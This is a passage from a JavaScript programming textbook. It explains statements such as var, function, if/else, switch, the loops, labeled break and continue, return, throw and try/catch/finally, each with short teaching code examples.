for(i = 0; i < a.length; a[i++] = 0) ;
```

In this loop, all the work is done by the expression `a[i++] = 0`, and no loop body is necessary. JavaScript syntax requires a statement as a loop body, however, so an empty statement—just a bare semicolon—is used.

Note that the accidental inclusion of a semicolon after the right parenthesis of a `for` loop, `while` loop, or `if` statement can cause frustrating bugs that are difficult to detect. For example, the following code probably does not do what the author intended:

```
if ((a == 0) || (b == 0));   // Oops! This line does nothing...
    o = null;                // and this line is always executed.
```

When you intentionally use the empty statement, it is a good idea to comment your code in a way that makes it clear that you are doing it on purpose. For example:

```
for(i = 0; i < a.length; a[i++] = 0) /* empty */ ;
```

5.3 Declaration Statements

The `var` and `function` are *declaration statements*—they declare or define variables and functions. These statements define identifiers (variable and function names) that can be used elsewhere in your program and assign values to those identifiers. Declaration statements don't do much themselves, but by creating variables and functions they, in an important sense, define the meaning of the other statements in your program.

The subsections that follow explain the `var` statement and the `function` statement, but do not cover variables and functions comprehensively. See §3.9 and §3.10 for more on variables. And see Chapter 8 for complete details on functions.

5.3.1 var

The `var` statement declares a variable or variables. Here's the syntax:

```
var name_1 [ = value_1] [ ,..., name_n [= value_n]]
```

The `var` keyword is followed by a comma-separated list of variables to declare; each variable in the list may optionally have an initializer expression that specifies its initial value. For example:

```
var i;                                      // One simple variable
var j = 0;                                  // One var, one value
var p, q;                                   // Two variables
var greeting = "hello" + name;              // A complex initializer
var x = 2.34, y = Math.cos(0.75), r, theta; // Many variables
var x = 2, y = x*x;                         // Second var uses the first
var x = 2,                                  // Multiple variables...
    f = function(x) { return x*x },         // each on its own line
    y = f(x);
```

If a `var` statement appears within the body of a function, it defines local variables, scoped to that function. When `var` is used in top-level code, it declares global variables, visible throughout the JavaScript program. As noted in §3.10.2, global variables are properties of the global object. Unlike other global properties, however, properties created with `var` cannot be deleted.

If no initializer is specified for a variable with the `var` statement, the variable's initial value is `undefined`. As described in §3.10.1, variables are defined throughout the script or function in which they are declared—their declaration is "hoisted" up to the start of the script or function. Initialization, however, occurs at the location of the `var` statement, and the value of the variable is `undefined` before that point in the code.

Note that the `var` statement can also appear as part of the `for` and `for/in` loops. (These variables are hoisted, just like variables declared outside of a loop.) Here are examples repeated from §3.9:

```
for(var i = 0; i < 10; i++) console.log(i);
for(var i = 0, j=10; i < 10; i++,j--) console.log(i*j);
for(var i in o) console.log(i);
```

Note that it is harmless to declare the same variable multiple times.

5.3.2 function

The `function` keyword is used to define functions. We saw it in function definition expressions in §4.3. It can also be used in statement form. Consider the following two functions:

```
var f = function(x) { return x+1; }  // Expression assigned to a variable
function f(x) { return x+1; }        // Statement includes variable name
```

A function declaration statement has the following syntax:

```
function funcname([arg1 [, arg2 [..., argn]]]) {
      statements
}
```

funcname is an identifier that names the function being declared. The function name is followed by a comma-separated list of parameter names in parentheses. These identifiers can be used within the body of the function to refer to the argument values passed when the function is invoked.

The body of the function is composed of any number of JavaScript statements, contained within curly braces. These statements are not executed when the function is defined. Instead, they are associated with the new function object for execution when the function is invoked. Note that the curly braces are a required part of the `function` statement. Unlike statement blocks used with `while` loops and other statements, a function body requires curly braces, even if the body consists of only a single statement.

Here are some more examples of function declarations:

```
function hypotenuse(x, y) {
    return Math.sqrt(x*x + y*y);  // return is documented in the next section
}

function factorial(n) {           // A recursive function
    if (n <= 1) return 1;
    return n * factorial(n - 1);
}
```

Function declaration statements may appear in top-level JavaScript code, or they may be nested within other functions. When nested, however, function declarations may only appear at the top level of the function they are nested within. That is, function definitions may not appear within `if` statements, `while` loops, or any other statements. Because of this restriction on where function declarations may appear, the ECMAScript specification does not categorize function declarations as true statements. Some JavaScript implementations do allow function declarations to appear anywhere a statement can appear, but different implementations handle the details differently and placing function declarations within other statements is nonportable.

Function declaration statements differ from function definition expressions in that they include a function name. Both forms create a new function object, but the function declaration statement also declares the function name as a variable and assigns the function object to it. Like variables declared with `var`, functions defined with function

definition statements are implicitly "hoisted" to the top of the containing script or function, so that they are visible throughout the script or function. With `var`, only the variable declaration is hoisted—the variable initialization code remains where you placed it. With function declaration statements, however, both the function name and the function body are hoisted: all functions in a script or all nested functions in a function are declared before any other code is run. This means that you can invoke a JavaScript function before you declare it.

Like the `var` statement, function declaration statements create variables that cannot be deleted. These variables are not read-only, however, and their value can be overwritten.

5.4 Conditionals

Conditional statements execute or skip other statements depending on the value of a specified expression. These statements are the decision points of your code, and they are also sometimes known as "branches." If you imagine a JavaScript interpreter following a path through your code, the conditional statements are the places where the code branches into two or more paths and the interpreter must choose which path to follow.

The subsections below explain JavaScript's basic conditional, the `if/else` statement, and also cover `switch`, a more complicated multiway branch statement.

5.4.1 if

The `if` statement is the fundamental control statement that allows JavaScript to make decisions, or, more precisely, to execute statements conditionally. This statement has two forms. The first is:

```
if (expression)
    statement
```

In this form, *`expression`* is evaluated. If the resulting value is truthy, *`statement`* is executed. If *`expression`* is falsy, *`statement`* is not executed. (See §3.3 for a definition of truthy and falsy values.) For example:

```
if (username == null)       // If username is null or undefined,
    username = "John Doe";  // define it
```

Or similarly:

```
// If username is null, undefined, false, 0, "", or NaN, give it a new value
if (!username) username = "John Doe";
```

Note that the parentheses around the *`expression`* are a required part of the syntax for the `if` statement.

JavaScript syntax requires a single statement after the `if` keyword and parenthesized expression, but you can use a statement block to combine multiple statements into one. So the `if` statement might also look like this:

```
if (!address) {
    address = "";
    message = "Please specify a mailing address.";
}
```

The second form of the `if` statement introduces an `else` clause that is executed when *`expression`* is `false`. Its syntax is:

```
if (expression)
      statement1
else
      statement2
```

This form of the statement executes *`statement1`* if *`expression`* is truthy and executes `statement2` if *`expression`* is falsy. For example:

```
if (n == 1)
    console.log("You have 1 new message.");
else
    console.log("You have " + n + " new messages.");
```

When you have nested `if` statements with `else` clauses, some caution is required to ensure that the `else` clause goes with the appropriate `if` statement. Consider the following lines:

```
i = j = 1;
k = 2;
if (i == j)
    if (j == k)
        console.log("i equals k");
else
    console.log("i doesn't equal j");    // WRONG!!
```

In this example, the inner `if` statement forms the single statement allowed by the syntax of the outer `if` statement. Unfortunately, it is not clear (except from the hint given by the indentation) which `if` the `else` goes with. And in this example, the indentation is wrong, because a JavaScript interpreter actually interprets the previous example as:

```
if (i == j) {
    if (j == k)
        console.log("i equals k");
    else
        console.log("i doesn't equal j");    // OOPS!
}
```

The rule in JavaScript (as in most programming languages) is that by default an `else` clause is part of the nearest `if` statement. To make this example less ambiguous and easier to read, understand, maintain, and debug, you should use curly braces:

```
if (i == j) {
    if (j == k) {
        console.log("i equals k");
    }
}
else {  // What a difference the location of a curly brace makes!
```

```
    console.log("i doesn't equal j");
}
```

Although it is not the style used in this book, many programmers make a habit of enclosing the bodies of `if` and `else` statements (as well as other compound statements, such as `while` loops) within curly braces, even when the body consists of only a single statement. Doing so consistently can prevent the sort of problem just shown.

5.4.2 else if

The `if/else` statement evaluates an expression and executes one of two pieces of code, depending on the outcome. But what about when you need to execute one of many pieces of code? One way to do this is with an `else if` statement. `else if` is not really a JavaScript statement, but simply a frequently used programming idiom that results when repeated `if/else` statements are used:

```
if (n == 1) {
    // Execute code block #1
}
else if (n == 2) {
    // Execute code block #2
}
else if (n == 3) {
    // Execute code block #3
}
else {
    // If all else fails, execute block #4
}
```

There is nothing special about this code. It is just a series of `if` statements, where each following `if` is part of the `else` clause of the previous statement. Using the `else if` idiom is preferable to, and more legible than, writing these statements out in their syntactically equivalent, fully nested form:

```
if (n == 1) {
    // Execute code block #1
}
else {
    if (n == 2) {
        // Execute code block #2
    }
    else {
        if (n == 3) {
            // Execute code block #3
        }
        else {
            // If all else fails, execute block #4
        }
    }
}
```

5.4.3 switch

An `if` statement causes a branch in the flow of a program's execution, and you can use the `else if` idiom to perform a multiway branch. This is not the best solution, however, when all of the branches depend on the value of the same expression. In this case, it is wasteful to repeatedly evaluate that expression in multiple `if` statements.

The `switch` statement handles exactly this situation. The `switch` keyword is followed by an expression in parentheses and a block of code in curly braces:

```
switch(expression) {
      statements
}
```

However, the full syntax of a `switch` statement is more complex than this. Various locations in the block of code are labeled with the `case` keyword followed by an expression and a colon. `case` is like a labeled statement, except that instead of giving the labeled statement a name, it associates an expression with the statement. When a `switch` executes, it computes the value of *`expression`* and then looks for a `case` label whose expression evaluates to the same value (where sameness is determined by the `===` operator). If it finds one, it starts executing the block of code at the statement labeled by the `case`. If it does not find a `case` with a matching value, it looks for a statement labeled `default:`. If there is no `default:` label, the `switch` statement skips the block of code altogether.

`switch` is a confusing statement to explain; its operation becomes much clearer with an example. The following `switch` statement is equivalent to the repeated `if/else` statements shown in the previous section:

```
switch(n) {
  case 1:                     // Start here if n == 1
    // Execute code block #1.
    break;
                      // Stop here
  case 2:                     // Start here if n == 2
    // Execute code block #2.
    break;                    // Stop here
  case 3:                     // Start here if n == 3
    // Execute code block #3.
    break;                    // Stop here
  default:                    // If all else fails...
    // Execute code block #4.
    break;                    // stop here
}
```

Note the `break` keyword used at the end of each `case` in the code above. The `break` statement, described later in this chapter, causes the interpreter to jump to the end (or "break out") of the `switch` statement and continue with the statement that follows it. The `case` clauses in a `switch` statement specify only the *starting point* of the desired code; they do not specify any ending point. In the absence of `break` statements, a `switch` statement begins executing its block of code at the `case` label that matches the

value of its *expression* and continues executing statements until it reaches the end of the block. On rare occasions, it is useful to write code like this that "falls through" from one `case` label to the next, but 99 percent of the time you should be careful to end every `case` with a `break` statement. (When using `switch` inside a function, however, you may use a `return` statement instead of a `break` statement. Both serve to terminate the `switch` statement and prevent execution from falling through to the next `case`.)

Here is a more realistic example of the `switch` statement; it converts a value to a string in a way that depends on the type of the value:

```
function convert(x) {
    switch(typeof x) {
      case 'number':            // Convert the number to a hexadecimal integer
        return x.toString(16);
      case 'string':            // Return the string enclosed in quotes
        return '"' + x + '"';
      default:                  // Convert any other type in the usual way
        return String(x);
    }
}
```

Note that in the two previous examples, the `case` keywords are followed by number and string literals, respectively. This is how the `switch` statement is most often used in practice, but note that the ECMAScript standard allows each `case` to be followed by an arbitrary expression.

The `switch` statement first evaluates the expression that follows the `switch` keyword and then evaluates the `case` expressions, in the order in which they appear, until it finds a value that matches.[1] The matching case is determined using the `===` identity operator, not the `==` equality operator, so the expressions must match without any type conversion.

Because not all of the `case` expressions are evaluated each time the `switch` statement is executed, you should avoid using `case` expressions that contain side effects such as function calls or assignments. The safest course is simply to limit your `case` expressions to constant expressions.

As explained earlier, if none of the `case` expressions match the `switch` expression, the `switch` statement begins executing its body at the statement labeled `default:`. If there is no `default:` label, the `switch` statement skips its body altogether. Note that in the examples above, the `default:` label appears at the end of the `switch` body, following all the `case` labels. This is a logical and common place for it, but it can actually appear anywhere within the body of the statement.

1. The fact that the `case` expressions are evaluated at run-time makes the JavaScript `switch` statement much different from (and less efficient than) the `switch` statement of C, C++, and Java. In those languages, the `case` expressions must be compile-time constants of the same type, and `switch` statements can often compile down to highly efficient *jump tables*.

5.5 Loops

To understand conditional statements, we imagined the JavaScript interpreter following a branching path through your source code. The *looping statements* are those that bend that path back upon itself to repeat portions of your code. JavaScript has four looping statements: `while`, `do/while`, `for`, and `for/in`. The subsections below explain each in turn. One common use for loops is to iterate over the elements of an array. §7.6 discusses this kind of loop in detail and covers special looping methods defined by the Array class.

5.5.1 while

Just as the `if` statement is JavaScript's basic conditional, the `while` statement is JavaScript's basic loop. It has the following syntax:

```
while (expression)
      statement
```

To execute a `while` statement, the interpreter first evaluates *`expression`*. If the value of the expression is falsy, then the interpreter skips over the *`statement`* that serves as the loop body and moves on to the next statement in the program. If, on the other hand, the *`expression`* is truthy, the interpreter executes the *`statement`* and repeats, jumping back to the top of the loop and evaluating *`expression`* again. Another way to say this is that the interpreter executes *`statement`* repeatedly *while* the *`expression`* is truthy. Note that you can create an infinite loop with the syntax `while(true)`.

Usually, you do not want JavaScript to perform exactly the same operation over and over again. In almost every loop, one or more variables change with each *iteration* of the loop. Since the variables change, the actions performed by executing *`statement`* may differ each time through the loop. Furthermore, if the changing variable or variables are involved in *`expression`*, the value of the expression may be different each time through the loop. This is important; otherwise, an expression that starts off truthy would never change, and the loop would never end! Here is an example of a `while` loop that prints the numbers from 0 to 9:

```
var count = 0;
while (count < 10) {
    console.log(count);
    count++;
}
```

As you can see, the variable `count` starts off at 0 and is incremented each time the body of the loop runs. Once the loop has executed 10 times, the expression becomes `false` (i.e., the variable `count` is no longer less than 10), the `while` statement finishes, and the interpreter can move on to the next statement in the program. Many loops have a counter variable like `count`. The variable names `i`, `j`, and `k` are commonly used as loop counters, though you should use more descriptive names if it makes your code easier to understand.

5.5.2 do/while

The `do/while` loop is like a `while` loop, except that the loop expression is tested at the bottom of the loop rather than at the top. This means that the body of the loop is always executed at least once. The syntax is:

```
do
      statement
  while (expression);
```

The `do/while` loop is less commonly used than its `while` cousin—in practice, it is somewhat uncommon to be certain that you want a loop to execute at least once. Here's an example of a `do/while` loop:

```
function printArray(a) {
    var len = a.length, i = 0;
    if (len == 0)
        console.log("Empty Array");
    else {
        do {
            console.log(a[i]);
        } while (++i < len);
    }
}
```

There are a couple of syntactic differences between the `do/while` loop and the ordinary `while` loop. First, the `do` loop requires both the `do` keyword (to mark the beginning of the loop) and the `while` keyword (to mark the end and introduce the loop condition). Also, the `do` loop must always be terminated with a semicolon. The `while` loop doesn't need a semicolon if the loop body is enclosed in curly braces.

5.5.3 for

The `for` statement provides a looping construct that is often more convenient than the `while` statement. The `for` statement simplifies loops that follow a common pattern. Most loops have a counter variable of some kind. This variable is initialized before the loop starts and is tested before each iteration of the loop. Finally, the counter variable is incremented or otherwise updated at the end of the loop body, just before the variable is tested again. In this kind of loop, the initialization, the test, and the update are the three crucial manipulations of a loop variable. The `for` statement encodes each of these three manipulations as an expression and makes those expressions an explicit part of the loop syntax:

```
for(initialize ; test ; increment)
      statement
```

`initialize`, *`test`*, and *`increment`* are three expressions (separated by semicolons) that are responsible for initializing, testing, and incrementing the loop variable. Putting them all in the first line of the loop makes it easy to understand what a `for` loop is doing and prevents mistakes such as forgetting to initialize or increment the loop variable.

The simplest way to explain how a `for` loop works is to show the equivalent `while` loop[2]:

```
initialize;
  while(test) {
      statement
      increment;
  }
```

In other words, the *`initialize`* expression is evaluated once, before the loop begins. To be useful, this expression must have side effects (usually an assignment). JavaScript also allows *`initialize`* to be a `var` variable declaration statement so that you can declare and initialize a loop counter at the same time. The *`test`* expression is evaluated before each iteration and controls whether the body of the loop is executed. If *`test`* evaluates to a truthy value, the *`statement`* that is the body of the loop is executed. Finally, the *`increment`* expression is evaluated. Again, this must be an expression with side effects in order to be useful. Generally, either it is an assignment expression, or it uses the `++` or `--` operators.

We can print the numbers from 0 to 9 with a `for` loop like the following. Contrast it with the equivalent `while` loop shown in the previous section:

```
for(var count = 0; count < 10; count++)
    console.log(count);
```

Loops can become a lot more complex than this simple example, of course, and sometimes multiple variables change with each iteration of the loop. This situation is the only place that the comma operator is commonly used in JavaScript; it provides a way to combine multiple initialization and increment expressions into a single expression suitable for use in a `for` loop:

```
var i,j;
for(i = 0, j = 10 ; i < 10 ; i++, j--)
    sum += i * j;
```

In all our loop examples so far, the loop variable has been numeric. This is quite common but is not necessary. The following code uses a `for` loop to traverse a linked list data structure and return the last object in the list (i.e., the first object that does not have a `next` property):

```
function tail(o) {                          // Return the tail of linked list o
    for(; o.next; o = o.next) /* empty */ ; // Traverse while o.next is truthy
    return o;
}
```

Note that the code above has no *`initialize`* expression. Any of the three expressions may be omitted from a `for` loop, but the two semicolons are required. If you omit the *`test`* expression, the loop repeats forever, and `for(;;)` is another way of writing an infinite loop, like `while(true)`.

2. When we consider the `continue` statement in §5.6.3, we'll see that this `while` loop is not an exact equivalent of the `for` loop.

5.5.4 for/in

The `for/in` statement uses the `for` keyword, but it is a completely different kind of loop than the regular `for` loop. A `for/in` loop looks like this:

```
for (variable in object)
     statement
```

`variable` typically names a variable, but it may be any expression that evaluates to an lvalue (§4.7.3) or a `var` statement that declares a single variable—it must be something suitable as the left side of an assignment expression. *`object`* is an expression that evaluates to an object. As usual, *`statement`* is the statement or statement block that serves as the body of the loop.

It is easy to use a regular `for` loop to iterate through the elements of an array:

```
for(var i = 0; i < a.length; i++)  // Assign array indexes to variable i
    console.log(a[i]);             // Print the value of each array element
```

The `for/in` loop makes it easy to do the same for the properties of an object:

```
for(var p in o)        // Assign property names of o to variable p
    console.log(o[p]); // Print the value of each property
```

To execute a `for/in` statement, the JavaScript interpreter first evaluates the *`object`* expression. If it evaluates to `null` or `undefined`, the interpreter skips the loop and moves on to the next statement.[3] If the expression evaluates to a primitive value, that value is converted to its equivalent wrapper object (§3.6). Otherwise, the expression is already an object. The interpreter now executes the body of the loop once for each enumerable property of the object. Before each iteration, however, the interpreter evaluates the *`variable`* expression and assigns the name of the property (a string value) to it.

Note that the *`variable`* in the `for/in` loop may be an arbitrary expression, as long as it evaluates to something suitable for the left side of an assignment. This expression is evaluated each time through the loop, which means that it may evaluate differently each time. For example, you can use code like the following to copy the names of all object properties into an array:

```
var o = {x:1, y:2, z:3};
var a = [], i = 0;
for(a[i++] in o) /* empty */;
```

JavaScript arrays are simply a specialized kind of object and array indexes are object properties that can be enumerated with a `for/in` loop. For example, following the code above with this line enumerates the array indexes 0, 1, and 2:

```
for(i in a) console.log(i);
```

The `for/in` loop does not actually enumerate all properties of an object, only the *enumerable* properties (see §6.7). The various built-in methods defined by core JavaScript are not enumerable. All objects have a `toString()` method, for example, but the

3. ECMAScript 3 implementations may instead throw a TypeError in this case.

`for/in` loop does not enumerate this `toString` property. In addition to built-in methods, many other properties of the built-in objects are nonenumerable. All properties and methods defined by your code are enumerable, however. (But in ECMAScript 5, you can make them nonenumerable using techniques explained in §6.7.) User-defined inherited properties (see §6.2.2) are also enumerated by the `for/in` loop.

If the body of a `for/in` loop deletes a property that has not yet been enumerated, that property will not be enumerated. If the body of the loop defines new properties on the object, those properties will generally not be enumerated. (Some implementations may enumerate inherited properties that are added after the loop begins, however.)

5.5.4.1 Property enumeration order

The ECMAScript specification does not specify the order in which the `for/in` loop enumerates the properties of an object. In practice, however, JavaScript implementations from all major browser vendors enumerate the properties of simple objects in the order in which they were defined, with older properties enumerated first. If an object was created as an object literal, its enumeration order is the same order that the properties appear in the literal. There are sites and libraries on the Web that rely on this enumeration order, and browser vendors are unlikely to change it.

The paragraph above specifies an interoperable property enumeration order for "simple" objects. Enumeration order becomes implementation dependent (and non-interoperable) if:

- The object inherits enumerable properties;
- the object has properties that are integer array indexes;
- you have used `delete` to delete existing properties of the object; or
- you have used `Object.defineProperty()` (§6.7) or similar methods to alter property attributes of the object.

Typically (but not in all implementations), inherited properties (see §6.2.2) are enumerated after all the noninherited "own" properties of an object, but are also enumerated in the order in which they were defined. If an object inherits properties from more than one "prototype" (see §6.1.3)—i.e., if it has more than one object in its "prototype chain"—then the properties of each prototype object in the chain are enumerated in creation order before enumerating the properties of the next object. Some (but not all) implementations enumerate array properties in numeric order rather than creation order, but they revert to creation order if the array is given other non-numeric properties as well or if the array is sparse (i.e., if some array indexes are missing).

5.6 Jumps

Another category of JavaScript statements are *jump statements*. As the name implies, these cause the JavaScript interpreter to jump to a new location in the source code. The `break` statement makes the interpreter jump to the end of a loop or other statement. `continue` makes the interpreter skip the rest of the body of a loop and jump back to the top of a loop to begin a new iteration. JavaScript allows statements to be named, or *labeled*, and the `break` and `continue` can identify the target loop or other statement label.

The `return` statement makes the interpreter jump from a function invocation back to the code that invoked it and also supplies the value for the invocation. The `throw` statement raises, or "throws," an exception and is designed to work with the `try/catch/finally` statement, which establishes a block of exception handling code. This is a complicated kind of jump statement: when an exception is thrown, the interpreter jumps to the nearest enclosing exception handler, which may be in the same function or up the call stack in an invoking function.

Details of each of these jump statements are in the sections that follow.

5.6.1 Labeled Statements

Any statement may be *labeled* by preceding it with an identifier and a colon:

```
identifier: statement
```

By labeling a statement, you give it a name that you can use to refer to it elsewhere in your program. You can label any statement, although it is only useful to label statements that have bodies, such as loops and conditionals. By giving a loop a name, you can use `break` and `continue` statements inside the body of the loop to exit the loop or to jump directly to the top of the loop to begin the next iteration. `break` and `continue` are the only JavaScript statements that use statement labels; they are covered later in this chapter. Here is an example of a labeled `while` loop and a `continue` statement that uses the label.

```
mainloop: while(token != null) {
    // Code omitted...
    continue mainloop;  // Jump to the next iteration of the named loop
    // More code omitted...
}
```

The *`identifier`* you use to label a statement can be any legal JavaScript identifier that is not a reserved word. The namespace for labels is different than the namespace for variables and functions, so you can use the same identifier as a statement label and as a variable or function name. Statement labels are defined only within the statement to which they apply (and within its substatements, of course). A statement may not have the same label as a statement that contains it, but two statements may have the same label as long as neither one is nested within the other. Labeled statements may themselves be labeled. Effectively, this means that any statement may have multiple labels.

5.6.2 break

The `break` statement, used alone, causes the innermost enclosing loop or `switch` statement to exit immediately. Its syntax is simple:

```
break;
```

Because it causes a loop or `switch` to exit, this form of the `break` statement is legal only if it appears inside one of these statements.

You've already seen examples of the `break` statement within a `switch` statement. In loops, it is typically used to exit prematurely when, for whatever reason, there is no longer any need to complete the loop. When a loop has complex termination conditions, it is often easier to implement some of these conditions with `break` statements rather than trying to express them all in a single loop expression. The following code searches the elements of an array for a particular value. The loop terminates in the normal way when it reaches the end of the array; it terminates with a `break` statement if it finds what it is looking for in the array:

```
for(var i = 0; i < a.length; i++) {
    if (a[i] == target) break;
}
```

JavaScript also allows the `break` keyword to be followed by a statement label (just the identifier, with no colon):

```
break labelname;
```

When `break` is used with a label, it jumps to the end of, or terminates, the enclosing statement that has the specified label. It is a syntax error to use `break` in this form if there is no enclosing statement with the specified label. With this form of the `break` statement, the named statement need not be a loop or `switch`: `break` can "break out of" any enclosing statement. This statement can even be a statement block grouped within curly braces for the sole purpose of naming the block with a label.

A newline is not allowed between the `break` keyword and the *`labelname`*. This is a result of JavaScript's automatic insertion of omitted semicolons: if you put a line terminator between the `break` keyword and the label that follows, JavaScript assumes you meant to use the simple, unlabeled form of the statement and treats the line terminator as a semicolon. (See §2.5.)

You need the labeled form of the `break` statement when you want to break out of a statement that is not the nearest enclosing loop or a switch. The following code demonstrates:

```
var matrix = getData();  // Get a 2D array of numbers from somewhere
// Now sum all the numbers in the matrix.
var sum = 0, success = false;
// Start with a labeled statement that we can break out of if errors occur
compute_sum: if (matrix) {
    for(var x = 0; x < matrix.length; x++) {
        var row = matrix[x];
        if (!row) break compute_sum;
```

```
            for(var y = 0; y < row.length; y++) {
                var cell = row[y];
                if (isNaN(cell)) break compute_sum;
                sum += cell;
            }
        }
        success = true;
    }
    // The break statements jump here. If we arrive here with success == false
    // then there was something wrong with the matrix we were given.
    // Otherwise sum contains the sum of all cells of the matrix.
```

Finally, note that a `break` statement, with or without a label, can not transfer control across function boundaries. You cannot label a function definition statement, for example, and then use that label inside the function.

5.6.3 continue

The `continue` statement is similar to the `break` statement. Instead of exiting a loop, however, `continue` restarts a loop at the next iteration. The `continue` statement's syntax is just as simple as the `break` statement's:

```
continue;
```

The `continue` statement can also be used with a label:

```
continue labelname;
```

The `continue` statement, in both its labeled and unlabeled forms, can be used only within the body of a loop. Using it anywhere else causes a syntax error.

When the `continue` statement is executed, the current iteration of the enclosing loop is terminated, and the next iteration begins. This means different things for different types of loops:

- In a `while` loop, the specified *`expression`* at the beginning of the loop is tested again, and if it's `true`, the loop body is executed starting from the top.
- In a `do/while` loop, execution skips to the bottom of the loop, where the loop condition is tested again before restarting the loop at the top.
- In a `for` loop, the *`increment`* expression is evaluated, and the *`test`* expression is tested again to determine if another iteration should be done.
- In a `for/in` loop, the loop starts over with the next property name being assigned to the specified variable.

Note the difference in behavior of the `continue` statement in the `while` and `for` loops: a `while` loop returns directly to its condition, but a `for` loop first evaluates its *`increment`* expression and then returns to its condition. Earlier we considered the behavior of the `for` loop in terms of an "equivalent" `while` loop. Because the `continue` statement behaves differently for these two loops, however, it is not actually possible to perfectly simulate a `for` loop with a `while` loop alone.

The following example shows an unlabeled `continue` statement being used to skip the rest of the current iteration of a loop when an error occurs:

```
for(i = 0; i < data.length; i++) {
    if (!data[i]) continue;  // Can't proceed with undefined data
    total += data[i];
}
```

Like the `break` statement, the `continue` statement can be used in its labeled form within nested loops, when the loop to be restarted is not the immediately enclosing loop. Also, like the `break` statement, line breaks are not allowed between the `continue` statement and its *`labelname`*.

5.6.4 return

Recall that function invocations are expressions and that all expressions have values. A `return` statement within a function specifies the value of invocations of that function. Here's the syntax of the `return` statement:

```
return expression;
```

A `return` statement may appear only within the body of a function. It is a syntax error for it to appear anywhere else. When the `return` statement is executed, the function that contains it returns the value of *`expression`* to its caller. For example:

```
function square(x) { return x*x; }   // A function that has a return statement
square(2)                            // This invocation evaluates to 4
```

With no `return` statement, a function invocation simply executes each of the statements in the function body in turn until it reaches the end of the function, and then returns to its caller. In this case, the invocation expression evaluates to `undefined`. The `return` statement often appears as the last statement in a function, but it need not be last: a function returns to its caller when a `return` statement is executed, even if there are other statements remaining in the function body.

The `return` statement can also be used without an *`expression`* to make the function return `undefined` to its caller. For example:

```
function display_object(o) {
    // Return immediately if the argument is null or undefined.
    if (!o) return;
    // Rest of function goes here...
}
```

Because of JavaScript's automatic semicolon insertion (§2.5), you cannot include a line break between the `return` keyword and the expression that follows it.

5.6.5 throw

An *exception* is a signal that indicates that some sort of exceptional condition or error has occurred. To *throw* an exception is to signal such an error or exceptional condition. To *catch* an exception is to handle it—to take whatever actions are necessary or

appropriate to recover from the exception. In JavaScript, exceptions are thrown whenever a runtime error occurs and whenever the program explicitly throws one using the `throw` statement. Exceptions are caught with the `try/catch/finally` statement, which is described in the next section.

The `throw` statement has the following syntax:

```
throw expression;
```

`expression` may evaluate to a value of any type. You might throw a number that represents an error code or a string that contains a human-readable error message. The Error class and its subclasses are used when the JavaScript interpreter itself throws an error, and you can use them as well. An Error object has a `name` property that specifies the type of error and a `message` property that holds the string passed to the constructor function (see the Error class in the reference section). Here is an example function that throws an Error object when invoked with an invalid argument:

```
function factorial(x) {
    // If the input argument is invalid, throw an exception!
    if (x < 0) throw new Error("x must not be negative");
    // Otherwise, compute a value and return normally
    for(var f = 1; x > 1; f *= x, x--) /* empty */ ;
    return f;
}
```

When an exception is thrown, the JavaScript interpreter immediately stops normal program execution and jumps to the nearest exception handler. Exception handlers are written using the `catch` clause of the `try/catch/finally` statement, which is described in the next section. If the block of code in which the exception was thrown does not have an associated `catch` clause, the interpreter checks the next highest enclosing block of code to see if it has an exception handler associated with it. This continues until a handler is found. If an exception is thrown in a function that does not contain a `try/catch/finally` statement to handle it, the exception propagates up to the code that invoked the function. In this way, exceptions propagate up through the lexical structure of JavaScript methods and up the call stack. If no exception handler is ever found, the exception is treated as an error and is reported to the user.

5.6.6 try/catch/finally

The `try/catch/finally` statement is JavaScript's exception handling mechanism. The `try` clause of this statement simply defines the block of code whose exceptions are to be handled. The `try` block is followed by a `catch` clause, which is a block of statements that are invoked when an exception occurs anywhere within the `try` block. The `catch` clause is followed by a `finally` block containing cleanup code that is guaranteed to be executed, regardless of what happens in the `try` block. Both the `catch` and `finally` blocks are optional, but a `try` block must be accompanied by at least one of these blocks. The `try`, `catch`, and `finally` blocks all begin and end with curly braces. These braces are a required part of the syntax and cannot be omitted, even if a clause contains only a single statement.

The following code illustrates the syntax and purpose of the `try/catch/finally` statement:

```
try {
  // Normally, this code runs from the top of the block to the bottom
  // without problems. But it can sometimes throw an exception,
  // either directly, with a throw statement, or indirectly, by calling
  // a method that throws an exception.
}
catch (e) {
  // The statements in this block are executed if, and only if, the try
  // block throws an exception. These statements can use the local variable
  // e to refer to the Error object or other value that was thrown.
  // This block may handle the exception somehow, may ignore the
  // exception by doing nothing, or may rethrow the exception with throw.
}
finally {
  // This block contains statements that are always executed, regardless of
  // what happens in the try block. They are executed whether the try
  // block terminates:
  //   1) normally, after reaching the bottom of the block
  //   2) because of a break, continue, or return statement
  //   3) with an exception that is handled by a catch clause above
  //   4) with an uncaught exception that is still propagating
}
```

Note that the `catch` keyword is followed by an identifier in parentheses. This identifier is like a function parameter. When an exception is caught, the value associated with the exception (an Error object, for example) is assigned to this parameter. Unlike regular variables, the identifier associated with a `catch` clause has block scope—it is only defined within the `catch` block.

Here is a realistic example of the `try/catch` statement. It uses the `factorial()` method defined in the previous section and the client-side JavaScript methods `prompt()` and `alert()` for input and output:

```
try {
    // Ask the user to enter a number
    var n = Number(prompt("Please enter a positive integer", ""));
    // Compute the factorial of the number, assuming the input is valid
    var f = factorial(n);
    // Display the result
    alert(n + "! = " + f);
}
catch (ex) {    // If the user's input was not valid, we end up here
    alert(ex);  // Tell the user what the error is
}
```

This example is a `try/catch` statement with no `finally` clause. Although `finally` is not used as often as `catch`, it can be useful. However, its behavior requires additional explanation. The `finally` clause is guaranteed to be executed if any portion of the `try` block is executed, regardless of how the code in the `try` block completes. It is generally used to clean up after the code in the `try` clause.

In the normal case, the JavaScript interpreter reaches the end of the `try` block and then proceeds to the `finally` block, which performs any necessary cleanup. If the interpreter left the `try` block because of a `return`, `continue`, or `break` statement, the `finally` block is executed before the interpreter jumps to its new destination.

If an exception occurs in the `try` block and there is an associated `catch` block to handle the exception, the interpreter first executes the `catch` block and then the `finally` block. If there is no local `catch` block to handle the exception, the interpreter first executes the `finally` block and then jumps to the nearest containing `catch` clause.

If a `finally` block itself causes a jump with a `return`, `continue`, `break`, or `throw` statement, or by calling a method that throws an exception, the interpreter abandons whatever jump was pending and performs the new jump. For example, if a `finally` clause throws an exception, that exception replaces any exception that was in the process of being thrown. If a `finally` clause issues a `return` statement, the method returns normally, even if an exception has been thrown and has not yet been handled.

